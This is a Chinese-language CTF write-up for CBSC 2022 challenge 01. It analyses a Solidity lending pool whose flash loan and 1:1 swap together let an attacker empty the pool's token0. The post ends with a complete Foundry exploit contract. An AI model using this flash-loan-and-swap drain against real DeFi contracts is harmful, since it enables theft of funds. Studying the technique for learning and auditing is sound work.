01.challenge
2023-07-27 18:41:16 # 16.CBSC 2022

01.challenge

分析

1.大局观

主要有两个合约:

  • Cert
    • ERC20代币合约
    • 加入了一个safeCheek()grant(),魔改了一下,以为这里会出考点,但是没用到
  • TrusterLenderPool
    • 池子拥有token0和token1
    • 拥有将此token0和token1交换的swap(),但却是等额交换而非K值,提供token0的闪电贷服务

2.任务

将TrusterLenderPool合约的token0余额设置为0,起初token0和token1都有10000个

1
2
3
function Complete() external {
require(token0.balanceOf(address(this)) == 0);
}

3.详细分析

既然有闪电贷方法,自然闪电贷就是核心突破点。从闪电贷方法可以看出,我们可以借出池子中所有的token0然后做些事情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 闪电贷
function flashLoan(uint256 borrowAmount,address borrower) external nonReentrant{
// 获取闪电贷之前token0的余额
uint256 balanceBefore = token0.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

// 借给borrower,可以是任意地址
token0.transfer(borrower, borrowAmount);
// 回调borrower的receiveEther(uint256)进行还钱
borrower.functionCall(
abi.encodeWithSignature(
"receiveEther(uint256)",
borrowAmount
)
);

// 检查token0余额,必须大于等于之前的余额
uint256 balanceAfter = token0.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

swap()是加减法交换,那么问题是巨大的,因为这么做就失去了token的市场价值规则,会将池子的token耗尽。在本题,我们借到了的token0,可以用来swap,然后池子的token0就会变回原来的值,这样就可以通过闪电贷的还款检验,并且我们拥有token1。然后就可以用token1来换token0完成题目

1
2
3
4
5
6
7
8
9
10
11
12
// 交换token0和token1,使用之前需要先授权给本合约,这里是等额交换,也就是加减法交换
function swap(address tokenAddress, uint amount) public returns(uint){
require(
// 以 || 为界限,必须上边都为true或下边都为true
tokenAddress == address(token0) && token1.transferFrom(msg.sender,address(this),amount) && token0.transfer(msg.sender,amount)

||

tokenAddress== address(token1) && token0.transferFrom(msg.sender,address(this),amount) && token1.transfer(msg.sender,amount));
return amount;

}

解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../../src/01.challenge/TrusterLenderPool.sol";

contract attackTest is Test {

TrusterLenderPool public pool;
Cert public token0;
Cert public token1;

function setUp() public{
pool = new TrusterLenderPool();
token0 = Cert(address(pool.token0()));
token1 = Cert(address(pool.token1()));
}

function test_isComplete() public {
// 1.闪电贷得到10000的token0 [pool: 0token0,10000token1][me: 10000token0,0token1]
pool.flashLoan(10000,address(this));
// 4.授权给pool 10000个token1 [pool: 10000token0,0token1][me: 0token0,10000token1]
token1.approve(address(pool),10000);
// 5.将我们的10000个token1换成10000个token0 [pool: 0token0,10000token1][me: 10000token0,0token1]
pool.swap(address(token0),10000);

pool.Complete();
}

function receiveEther(uint256 amount)public{
// 2.授权给pool 10000个token0 [pool: 0token0,10000token1][me: 10000token0,0token1]
token0.approve(address(pool),10000);
// 3.将我们的10000个token0换成10000个token1 [pool: 10000token0,0token1][me: 0token0,10000token1]
pool.swap(address(token1),10000);
}

}